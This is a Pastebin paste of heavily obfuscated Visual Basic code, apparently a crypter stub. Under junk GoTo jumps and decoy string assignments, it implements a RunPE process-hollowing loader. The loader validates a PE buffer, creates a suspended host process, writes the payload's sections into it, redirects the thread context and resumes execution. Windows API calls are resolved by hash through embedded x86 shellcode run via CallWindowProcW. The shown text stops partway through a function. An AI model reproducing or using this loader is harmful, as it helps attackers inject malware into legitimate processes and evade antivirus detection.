Guest User

Untitled

a guest
Sep 3rd, 2018
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3.  
  4. Option Base 0
  5.  
  6.  
  7. Private Type i4U2g
  8. a8T7w                          As Long
  9. End Type
  10. Private Type V5k0U
  11. B1      As Byte:    B2      As Byte
  12. B3      As Byte:    B4      As Byte
  13. End Type
  14. Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long
  15. Private f7t4m        As Boolean
  16. Private o1b4L(170)        As Byte
  17. Private m8v8A(255)          As Byte
  18. Private Const KERNEL32          As String = "KERNEL32"
  19. Private Const NTDLL             As String = "NTDLL"
  20. Public Function SAMDZ(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean
  21. Dim U2U0L             As Long
  22. Dim U6o7i                     As Long
  23. Dim j0q4J                    As Long
  24. Dim I5F1X               As Long
  25. Dim i                       As Long
  26. Dim e0M0l(16)        As Long
  27. Dim K5f1o(3) As Long
  28. Dim h3X8Y(50)            As Long
  29. GoTo lHgYTgwLhUeBwacIdi:
  30. uiCtkyIrqeQrNao:
  31. KjPtIpvOQMsnomrcUd = "iSjnphG"
  32. GoTo naeDrpjByUrPVRdgvQRc
  33. naeDrpjByUrPVRdgvQRc:
  34. NyuiCtkyIrqeQrNa = "VnaerpjByUr"
  35. GoTo gJZsMfaOuDEC
  36. lHgYTgwLhUeBwacIdi:
  37. QmeOwyTwAOZtHuhHe = "FmquTuFzR"
  38. GoTo QNnCvfMPkMQfbKYxxYh
  39. GwcQYVbLSaqQQgQ:
  40. aNNpxJmFlIbnbZS = "iEoEBMefA"
  41. GoTo QqSxvdRmdThsbaNNpxJm
  42. VpUsKkKVPiRoYj:
  43. NyuiCtkyIrqeQrNa = "VnaerpjByUr"
  44. GoTo kwNckluSMqsZf
  45. smtQkjzDGxQmeOwyT:
  46. QmeOwyTwAOZtHuhHe = "FmquTuFzR"
  47. GoTo gLTUSYvCJoAAP
  48. lIbnbZSliEozEBMe:
  49. GoTo ABKjPtIpvOQsnomrcUdGiSjnphGjN
  50. gJZsMfaOuDEC:
  51. VRdgvQRclgJZsMfaOuD = "CHsmtQkzDG"
  52. GoTo smtQkjzDGxQmeOwyT
  53. QNnCvfMPkMQfbKYxxYh:
  54. VRdgvQRclgJZsMfaOuD = "CHsmtQkzDG"
  55. GoTo VpUsKkKVPiRoYj
  56. kwNckluSMqsZf:
  57. KjPtIpvOQMsnomrcUd = "iSjnphG"
  58. GoTo GwcQYVbLSaqQQgQ
  59. ABKjPtIpvOQsnomrcUdGiSjnphGjN:
  60. aNNpxJmFlIbnbZS = "iEoEBMefA"
  61. GoTo uiCtkyIrqeQrNao
  62. QqSxvdRmdThsbaNNpxJm:
  63. U2U0L = VarPtr(bvBuff(0))
  64. GoTo lIbnbZSliEozEBMe
  65. gLTUSYvCJoAAP:
  66. If Not GetNumb(U2U0L, 2) = &H5A4D Then Exit Function
  67. GoTo rqeQrNaoVnaeDrpjB:
  68. qeQrNaoVnaeDrjByUrPVRdgvQRlgJZsMfaOu:
  69. yGwcQYVbLSaqQQg = "ZQqSxvdRmdhsbaNNpxJ"
  70. GoTo ECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEq
  71. PkMQfbKYxxYhtVpUsKKVPiRoYjokwN:
  72. LTUSYvCJoAAPTQN = "CvfMkMQfbKYxx"
  73. GoTo kluSMqsZfywcQYVbLSaqQQgQZQq
  74. rqeQrNaoVnaeDrpjB:
  75. OQMsnomrcUdGiSjnp = "GjNuiCtky"
  76. GoTo MfaOuDECHsmtQ
  77. kluSMqsZfywcQYVbLSaqQQgQZQq:
  78. U6o7i = U2U0L + GetNumb(U2U0L + &H3C)
  79. GoTo xvdRmdThsbaNNpxJmFl
  80. ECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEq:
  81. FlIbnbZSliEozEBM = "fAKjPtIp"
  82. GoTo TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsK
  83. jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyI:
  84. htVpUsKkKVPiRoYjokwN = "klSMqsZ"
  85. GoTo qeQrNaoVnaeDrjByUrPVRdgvQRlgJZsMfaOu
  86. xvdRmdThsbaNNpxJmFl:
  87. GoTo bnbZSliEozEBMefAB
  88. jzDGxQmeOwyTAOZtHuhHedFmEq:
  89. yGwcQYVbLSaqQQg = "ZQqSxvdRmdhsbaNNpxJ"
  90. GoTo TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvf
  91. MfaOuDECHsmtQ:
  92. FlIbnbZSliEozEBM = "fAKjPtIp"
  93. GoTo jzDGxQmeOwyTAOZtHuhHedFmEq
  94. bnbZSliEozEBMefAB:
  95. LTUSYvCJoAAPTQN = "CvfMkMQfbKYxx"
  96. GoTo jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyI
  97. TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvf:
  98. htVpUsKkKVPiRoYjokwN = "klSMqsZ"
  99. GoTo PkMQfbKYxxYhtVpUsKKVPiRoYjokwN
  100. TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsK:
  101. OQMsnomrcUdGiSjnp = "GjNuiCtky"
  102. GoTo UrPVRdgvQRclgJZ
  103. UrPVRdgvQRclgJZ:
  104. If Not GetNumb(U6o7i) = &H4550 Then Exit Function
  105. GoTo eBwacIdiqgLTUSYvCJoA:
  106. kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFlbnbZSliEozEBMefAB:
  107. nomrcUdGiSjnphGjNuiCtkyIrqeQrNaoVn = "eDpjByU"
  108. GoTo jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyIqeQrNaoVnaeDr
  109. jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQme:
  110. e0M0l(0) = &H44
  111. GoTo wyTwAOZtHuhHedFmEqTuFzROlHgYTgwL
  112. eBwacIdiqgLTUSYvCJoA:
  113. xQmeOwyTwAOZtHuhHe = "FmquTuFzRlHgYTgwLh"
  114. GoTo YxxYhtVpUsKkKVPiR
  115. wyTwAOZtHuhHedFmEqTuFzROlHgYTgwL:
  116. Call s6F0Y(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(e0M0l(0)), VarPtr(K5f1o(0)))
  117. GoTo UeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsKKVPiRoYjokwN
  118. jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyIqeQrNaoVnaeDr:
  119. PVRdgvQRclgJZsMfa = "uDECHsmtQjzD"
  120. GoTo jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEqTuFzROlHgYTgwL
  121. kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFl:
  122. Call s6F0Y(NTDLL, &HD33BCABD, K5f1o(0), VarPtr(I5F1X), 0, VarPtr(GetNumb(U6o7i + &H50)), &H3000, &H40)
  123. GoTo bnbZSliEozEBMefABjPtIpvOQMsnomrcUd
  124. iSjnphGjNyuiCtkyIqeQrNaoVnaeDr:
  125. GoTo jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEq
  126. GjNyuiCtkyIqeQrNaoVnaeDr:
  127. I5F1X = GetNumb(U6o7i + &H34)
  128. GoTo jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQme
  129. YjokwNckluSMq:
  130. nomrcUdGiSjnphGjNuiCtkyIrqeQrNaoVn = "eDpjByU"
  131. GoTo ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEozE
  132. jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEq:
  133. QgQZQqSxvdRmdThsbaNN = "xJmFIbn"
  134. GoTo TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsKKVPiRoYjokwN
  135. TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsKKVPiRoYjokwN:
  136. ZSliEozEBMefABK = "PtIvOQM"
  137. GoTo kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFlbnbZSliEozEBMefAB
  138. MefABKjPtIpvOQMnomrcUdGiSjnp:
  139. QgQZQqSxvdRmdThsbaNN = "xJmFIbn"
  140. GoTo GjNyuiCtkyIqeQrNaoVnaeDr
  141. UeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsKKVPiRoYjokwN:
  142. Call s6F0Y(NTDLL, &HF21037D0, K5f1o(0), I5F1X)
  143. GoTo kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFl
  144. YxxYhtVpUsKkKVPiR:
  145. PVRdgvQRclgJZsMfa = "uDECHsmtQjzD"
  146. GoTo YjokwNckluSMq
  147. bnbZSliEozEBMefABjPtIpvOQMsnomrcUd:
  148. Call s6F0Y(NTDLL, &HC5108CC2, K5f1o(0), I5F1X, VarPtr(bvBuff(0)), GetNumb(U6o7i + &H54), 0)
  149. GoTo iSjnphGjNyuiCtkyIqeQrNaoVnaeDr
  150. jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEqTuFzROlHgYTgwL:
  151. xQmeOwyTwAOZtHuhHe = "FmquTuFzRlHgYTgwLh"
  152. GoTo PTQNnCvfMPkMQfb
  153. ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEozE:
  154. ZSliEozEBMefABK = "PtIvOQM"
  155. GoTo MefABKjPtIpvOQMnomrcUdGiSjnp
  156. PTQNnCvfMPkMQfb:
  157. For i = 0 To GetNumb(U6o7i + &H6, 2) - 1
  158. GoTo eBwacIdiqgLTUSYvCJoAPTQNnCvfMPkMQfb:
  159. YvNnNZSlUrbmro:
  160. GoTo QfnoxVQtvciBJzf
  161. cTtVAyhUpg:
  162. yuiCtkyIrqeQrNaoVna = "DrjByUPVRdg"
  163. GoTo lveeQQsANpIoMeqecVol
  164. jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmezCQzDRcxKxkLhgIqHtx:
  165. iEozEBMefABKjPtI = "vOQMnomrcdGiSjnphGj"
  166. GoTo xICURpKjbYjAOkYhFzdf
  167. QfnoxVQtvciBJzf:
  168. qSxvdRmdThsbaNNpxJmF = "IbnZS"
  169. GoTo bZeOVdtUTk
  170. rCIEPhiDEOmSwLszR:
  171. wyTwAOZtHuhHedFmEqu = "uFzROlHgYTwLh"
  172. GoTo YxxYhtVpUsKkKVPiRYjokwNckluSMq
  173. ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEozEMefABKjPtIpvOQM:
  174. QRclgJZsMfaOuDECH = "mtQkjDGxQme"
  175. GoTo nomrcUdGiSjnpGjNyuiCtkyIqeQrNaoVnaeDr
  176. nomrcUdGiSjnpGjNyuiCtkyIqeQrNaoVnaeDr:
  177. yuiCtkyIrqeQrNaoVna = "DrjByUPVRdg"
  178. GoTo jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmezCQzDRcxKxkLhgIqHtx
  179. xICURpKjbYjAOkYhFzdf:
  180. qSxvdRmdThsbaNNpxJmF = "IbnZS"
  181. GoTo gltjOYYQbyFMrDDTQa
  182. eBwacIdiqgLTUSYvCJoAPTQNnCvfMPkMQfb:
  183. wyTwAOZtHuhHedFmEqu = "uFzROlHgYTwLh"
  184. GoTo ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEozEMefABKjPtIpvOQM
  185. bZeOVdtUTk:
  186. iEozEBMefABKjPtI = "vOQMnomrcdGiSjnphGj"
  187. GoTo cTtVAyhUpg
  188. lveeQQsANpIoMeqecVol:
  189. QRclgJZsMfaOuDECH = "mtQkjDGxQme"
  190. GoTo rCIEPhiDEOmSwLszR
  191. gltjOYYQbyFMrDDTQa:
  192. j0q4J = U6o7i + &HF8 + (&H28 * i)
  193. GoTo qFyiPSnPTifNbAAckwZ
  194. qFyiPSnPTifNbAAckwZ:
  195. Call s6F0Y(NTDLL, &HC5108CC2, K5f1o(0), I5F1X + GetNumb(j0q4J + &HC), U2U0L + GetNumb(j0q4J + &H14), GetNumb(j0q4J + &H10), 0)
  196. GoTo YvNnNZSlUrbmro
  197. YxxYhtVpUsKkKVPiRYjokwNckluSMq:
  198. Next i
  199. GoTo noxVQtvciBJfabZeOVdtUTkacT:
  200. qFyiPSnPTifNbAAckwZYvNnNZSlUrbmro:
  201. ZUgkyTUfojMdvPjdSyHH = "Kwpwbnn"
  202. GoTo QfnoxVQtvciBJzfbZeOVdtUTk
  203. QfnoxVQtvciBJzfbZeOVdtUTk:
  204. GJBapiRzCQzDRcxKxk = "hgIqHtxQ"
  205. GoTo cTtVAyhUpglveeQQsANpIoMeqecVol
  206. PvqrpufZgJVmqtkJmRBxlG:
  207. GJBapiRzCQzDRcxKxk = "hgIqHtxQ"
  208. GoTo nBLuuhTuQesZrdGvsmEBYuSZU
  209. ANpIoMeqecVolrCIEPhiDEOmSwLszR:
  210. ICURpKjbYjAOkYhFzfLgltjOYYQbyFMr = "DTQaRqF"
  211. GoTo PvqrpufZgJVmqtkJmRBxlG
  212. YvNnNZSlUrbmroQfnoxVQtvciBJzf:
  213. h3X8Y(44) = I5F1X + GetNumb(U6o7i + &H28)
  214. GoTo bZeOVdtUTkcTtVAyhUpg
  215. bZeOVdtUTkcTtVAyhUpg:
  216. Call s6F0Y(NTDLL, &H6935E395, K5f1o(1), VarPtr(h3X8Y(0)))
  217. GoTo lveeQQsANpIoMeqecVolrCIEPhiDEOmSwLszR
  218. lveeQQsANpIoMeqecVolrCIEPhiDEOmSwLszR:
  219. Call s6F0Y(NTDLL, &HC54A46C8, K5f1o(1), 0)
  220. GoTo PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrd
  221. rCIEPhiDEOmSwLszRPvqrpufZgJ:
  222. iPSnPTifNbAAckwZs = "vNnNZSlUrbrozQ"
  223. GoTo VAyhUpgQlveeQQ
  224. gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZ:
  225. Call s6F0Y(NTDLL, &HC5108CC2, K5f1o(0), h3X8Y(41) + &H8, VarPtr(I5F1X), &H4, 0)
  226. GoTo YvNnNZSlUrbmroQfnoxVQtvciBJzf
  227. nCGJBapiRzCQ:
  228. h3X8Y(0) = &H10007
  229. GoTo DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf
  230. cTtVAyhUpglveeQQsANpIoMeqecVol:
  231. ICURpKjbYjAOkYhFzfLgltjOYYQbyFMr = "DTQaRqF"
  232. GoTo rCIEPhiDEOmSwLszRPvqrpufZgJ
  233. GvsmEBYuSZUkyTUfojMdvP:
  234. RunPE = True
  235. GoTo dSyHHFKwpwbnCGJBapiRzCQ
  236. dSyHHFKwpwbnCGJBapiRzCQ:
  237. GoTo DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDDTQa
  238. DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf:
  239. Call s6F0Y(NTDLL, &HE935E393, K5f1o(1), VarPtr(h3X8Y(0)))
  240. GoTo gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZ
  241. DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDDTQa:
  242. wnBLuuhTuQesZrdhGv = "mEBYu"
  243. GoTo qFyiPSnPTifNbAAckwZYvNnNZSlUrbmro
  244. kyTUfojMdvPdSyHHFKwpwb:
  245. wnBLuuhTuQesZrdhGv = "mEBYu"
  246. GoTo nCGJBapiRzCQ
  247. PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrd:
  248. hProcess = K5f1o(0)
  249. GoTo GvsmEBYuSZUkyTUfojMdvP
  250. nBLuuhTuQesZrdGvsmEBYuSZU:
  251. ZUgkyTUfojMdvPjdSyHH = "Kwpwbnn"
  252. GoTo kyTUfojMdvPdSyHHFKwpwb
  253. noxVQtvciBJfabZeOVdtUTkacT:
  254. iPSnPTifNbAAckwZs = "vNnNZSlUrbrozQ"
  255. GoTo ANpIoMeqecVolrCIEPhiDEOmSwLszR
  256. VAyhUpgQlveeQQ:
  257. End Function
  258. Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
  259. GoTo PhiDEOmSwLszRaPvrpufZgJlVmqtk:
  260. nCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf:
  261. GoTo gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmroQfnoxVQtvciBJzf
  262. PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrdGvsmEBYuSZUkyTUfojMdvP:
  263. tjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZs = "vNnNZSlUrbrozQnox"
  264. GoTo dSyHHFKwpwbnCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf
  265. QfnoxVQtvciBJzfbZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeqecVol:
  266. txQxICURpKjbYjAOkY = "FzdLg"
  267. GoTo rCIEPhiDEOmSwLszRPvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrd
  268. gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmroQfnoxVQtvciBJzf:
  269. bnnCGJBapiRzCQzDR = "xKkLhgIq"
  270. GoTo bZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeqecVolrCIEPhiDEOmSwLszR
  271. gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmroQfnoxVQtvciBJzfbZeOVdtUTk:
  272. gQlveeQQsANpIoMe = "ecVoHrCI"
  273. GoTo mRBxlGwnBLuuhTuQeZrdhGvsmEBYuS
  274. UgkyTUfojMdvPjdSyHHFwpwbnnCGJBapiRzCQ:
  275. QtvciBJzfabZeOVdtUTk = "cTVAyhU"
  276. GoTo DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmro
  277. DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmro:
  278. tjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZs = "vNnNZSlUrbrozQnox"
  279. GoTo QfnoxVQtvciBJzfbZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeqecVol
  280. rCIEPhiDEOmSwLszRPvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrd:
  281. bnnCGJBapiRzCQzDR = "xKkLhgIq"
  282. GoTo GvsmEBYuSZUkyTUfojMdvPdSyHHFKwpwb
  283. PhiDEOmSwLszRaPvrpufZgJlVmqtk:
  284. gQlveeQQsANpIoMe = "ecVoHrCI"
  285. GoTo UgkyTUfojMdvPjdSyHHFwpwbnnCGJBapiRzCQ
  286. bZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeqecVolrCIEPhiDEOmSwLszR:
  287. txQxICURpKjbYjAOkY = "FzdLg"
  288. GoTo PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrdGvsmEBYuSZUkyTUfojMdvP
  289. GvsmEBYuSZUkyTUfojMdvPdSyHHFKwpwb:
  290. Call s6F0Y(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
  291. GoTo nCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf
  292. dSyHHFKwpwbnCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf:
  293. QtvciBJzfabZeOVdtUTk = "cTVAyhU"
  294. GoTo gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmroQfnoxVQtvciBJzfbZeOVdtUTk
  295. mRBxlGwnBLuuhTuQeZrdhGvsmEBYuS:
  296. End Function
  297. Public Function s6F0Y(ByVal P5m8U As String, ByVal w4d1d As Long, ParamArray vParams() As Variant) As Long
  298. Dim t0q4f                   As Variant
  299. Dim d5g0K                   As V5k0U
  300. Dim t4k6A                    As Long
  301. Dim i                       As Long
  302. Dim w                       As Long
  303. If Not f7t4m Then
  304. For i = 0 To 170
  305. o1b4L(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
  306. &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
  307. Next i
  308. GoTo wyHfaDFmsLTIokjoZgnDedtjm:
  309. IqfzqhuEnnbbBKQzSVoAolfxuRBLRNaq:
  310. PUFyFkxwMQSKkyrcJLgI = "bmGTHtUrRzQChHSMfcy"
  311. GoTo MOYvdGVCIckaFAzEpipTugwzCuSw
  312. MfcyUtlhsJZuirOJnpV:
  313. f7t4m = True
  314. GoTo vDsYhiglIOVAN
  315. dhjbAPHsacwZesoQkJ:
  316. pipTugwzCuSwbKGvPG = "KUEDrdbnBjAmq"
  317. GoTo luGiChFYxYjdveBlvxJapwyHfaDFmsLTokkjoZgnDedtjmeCg
  318. MOYvdGVCIckaFAzEpipTugwzCuSw:
  319. tlhsJZuirOJnpVpvDsYh = "glIVANMdhjbA"
  320. GoTo KGvPGxKUEDdEbnBjAmqQECwLiDcieqtIefoytQmEZ
  321. yFkxwMQSKkyrcJLgNbmGTHtUrqRzQCGhH:
  322. i = 0
  323. GoTo MfcyUtlhsJZuirOJnpV
  324. wbKGvPGxKUEDrdEbnBj:
  325. PUFyFkxwMQSKkyrcJLgI = "bmGTHtUrRzQChHSMfcy"
  326. GoTo mqQECwOLiDcieqt
  327. wyHfaDFmsLTIokjoZgnDedtjm:
  328. HsacwZesoQkJKluGiCh = "YxYjdvelvBxJa"
  329. GoTo uRBLRNaqrMOYvdGCIckaFAAzEpipTugwzCu
  330. KGvPGxKUEDdEbnBjAmqQECwLiDcieqtIefoytQmEZ:
  331. HsacwZesoQkJKluGiCh = "YxYjdvelvBxJa"
  332. GoTo CgKIqfzqhunnbbBKQzSyVoAolf
  333. vDsYhiglIOVAN:
  334. GoTo dhjbAPHsacwZesoQkJ
  335. luGiChFYxYjdveBlvxJapwyHfaDFmsLTokkjoZgnDedtjmeCg:
  336. ECwOLiDcieqtIefoytQ = "EZsnHQ"
  337. GoTo IqfzqhuEnnbbBKQzSVoAolfxuRBLRNaq
  338. mqQECwOLiDcieqt:
  339. ECwOLiDcieqtIefoytQ = "EZsnHQ"
  340. GoTo efoytQmEZsncHQRPU
  341. efoytQmEZsncHQRPU:
  342. pipTugwzCuSwbKGvPG = "KUEDrdbnBjAmq"
  343. GoTo yFkxwMQSKkyrcJLgNbmGTHtUrqRzQCGhH
  344. uRBLRNaqrMOYvdGCIckaFAAzEpipTugwzCu:
  345. tlhsJZuirOJnpVpvDsYh = "glIVANMdhjbA"
  346. GoTo wbKGvPGxKUEDrdEbnBj
  347. CgKIqfzqhunnbbBKQzSyVoAolf:
  348. End If
  349. t4k6A = CallWindowProcW(VarPtr(o1b4L(0)), StrPtr(P5m8U), w4d1d)
  350. If t4k6A Then
  351. For w = UBound(vParams) To LBound(vParams) Step -1
  352. GoTo mFlIbAbmgyiEoyEAM:
  353. mFlIbAbmgyiEoyEAM:
  354. DQPgkneDSLvdfAd = "vraNNox"
  355. GoTo NLtiCtkxHrqe
  356. xluRMqsZtyvckljoLSaDQPgkne:
  357. Call N3I5y(d5g0K.B3, i):  Call N3I5y(d5g0K.B4, i)
  358. GoTo SLvdfAdhvraoNNox
  359. FNaCVBZrDrjByUEPURduvQR:
  360. ufMOjLQfpJQKxYutVC = "GKkKVPifBY"
  361. GoTo zgJZFLfndIECHslsQxjzDFxQze
  362. MOjLQfpJQKxutVCTGKkKVPifBYwokwM:
  363. Call N3I5y(d5g0K.B1, i):  Call N3I5y(d5g0K.B2, i)
  364. GoTo xluRMqsZtyvckljoLSaDQPgkne
  365. THFzROlHglitwL:
  366. d5g0K = D3N8K(CLng(vParams(w)))
  367. GoTo irBwapIcvqfTUSYIBJnAzPTVNnCu
  368. mFlIbAbmgyiEoyEAMszBKidGIpv:
  369. OJySJANZHGugHeq = "mDptTHFROlHgl"
  370. GoTo QMsnomrcjqGhhwmphFNLtiCtkxHrqe
  371. JySJANZHGugHeqEmDp:
  372. OJySJANZHGugHeq = "mDptTHFROlHgl"
  373. GoTo THFzROlHglitwL
  374. ECHslsQxjzDFxQzeJySJANZHGugHeqEmDp:
  375. okwMcxluRMqsZtyGv = "kloLS"
  376. GoTo THFzROlHglitwLirBwapIcvqf
  377. irBwapIcvqfTUSYIBJnAzPTVNnCu:
  378. Call N3I5y(&H68, i)
  379. GoTo MOjLQfpJQKxutVCTGKkKVPifBYwokwM
  380. SLvdfAdhvraoNNox:
  381. GoTo mFlIbAbmgyiEoyEAMszBKidGIpv
  382. NLtiCtkxHrqe:
  383. okwMcxluRMqsZtyGv = "kloLS"
  384. GoTo FNaCVBZrDrjByUEPURduvQR
  385. zgJZFLfndIECHslsQxjzDFxQze:
  386. twLhirBwapIcvqf = "TUSYIBJnzPTVNn"
  387. GoTo JySJANZHGugHeqEmDp
  388. FNaCVBZrDrjByUEPURduvQRzgJZFLfndI:
  389. ufMOjLQfpJQKxYutVC = "GKkKVPifBY"
  390. GoTo ECHslsQxjzDFxQzeJySJANZHGugHeqEmDp
  391. THFzROlHglitwLirBwapIcvqf:
  392. DQPgkneDSLvdfAd = "vraNNox"
  393. GoTo szBKidGIpvQMsnomrcjqGhhwmphF
  394. QMsnomrcjqGhhwmphFNLtiCtkxHrqe:
  395. twLhirBwapIcvqf = "TUSYIBJnzPTVNn"
  396. GoTo FNaCVBZrDrjByUEPURduvQRzgJZFLfndI
  397. szBKidGIpvQMsnomrcjqGhhwmphF:
  398. Next w
  399. GoTo ROlHglitwLhirBwpIcvqfKTUS:
  400. FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaC:
  401. Call N3I5y(&HFF, i):      Call N3I5y(&HD0, i)
  402. GoTo BZrDrpjByUEPURduvQRbgJZFLfndIDECHslQxjzDFxQzeOJyS
  403. ANZHGugHeqEmDptTHzROlHglitwLhirBwpIcvqfKTUS:
  404. GoTo IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRMsZtyGvckljoLS
  405. zROlHglitwLhirBwpIcvqfKTUSIBJnAzPTVNnCuiPSnPTi:
  406. JZFLfndIDECHslsxjzDFxQzeOJySJANZHGu = "HeqmDptTHF"
  407. GoTo IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKk
  408. iCtkxHrqeeFNaCBZrDrpjByUEPURduvQRbgJZFLfndIDECHsl:
  409. YwokwMcxluRMqsZtyG = "ckljoSaDQPgkn"
  410. GoTo QxjzDFxQzeOJySANZHGugHeqEmDptTH
  411. VPifBYwokwMcxluRMsZtyGvckljoLS:
  412. nomrcjqGhhwmphFjNtiCtkxHrqeeFNaCVBZr = "rpjByUEURduvQRbz"
  413. GoTo DQPgkneDSLdfAdhvraoNNoxJ
  414. DQPgkneDSLdfAdhvraoNNoxJ:
  415. mgyiEoyEAMdszBK = "dGIvOQM"
  416. GoTo FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNL
  417. sZtyGvckljoLSDQPgkneDSLdfAdhvraoNNoxJ:
  418. Call N3I5y(d5g0K.B3, i):  Call N3I5y(d5g0K.B4, i)
  419. GoTo FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaC
  420. gJZFLfndIDECHslQxjzDFxQzeOJySANZHGugHeqEmDptTH:
